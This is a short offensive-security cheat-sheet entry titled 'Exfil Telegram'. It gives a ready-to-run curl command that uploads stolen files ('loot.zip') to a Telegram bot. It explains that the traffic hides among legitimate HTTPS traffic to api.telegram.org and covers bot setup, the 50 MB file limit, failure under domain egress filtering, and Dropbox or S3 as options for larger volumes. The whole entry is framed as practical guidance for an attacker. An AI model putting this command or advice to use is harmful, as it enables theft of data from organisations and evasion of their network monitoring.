Exfil Telegram

curl -F document=@loot.zip https://api.telegram.org/bot<TOKEN>/sendDocument

Sends files to a Telegram bot: exfiltration travels over HTTPS to api.telegram.org, a domain with massive legitimate traffic.

Run it when you need a quick exfil channel without setting up infrastructure: create a bot with BotFather, get token and chat_id, and pull files with a one-line curl. Works for small to medium batches (API limits to 50 MB per file).

If egress filters by domain (many corporate proxies block api.telegram.org), it fails outright. For large volumes use Dropbox or S3: Telegram isn't designed to move GBs and files remain hosted on their servers.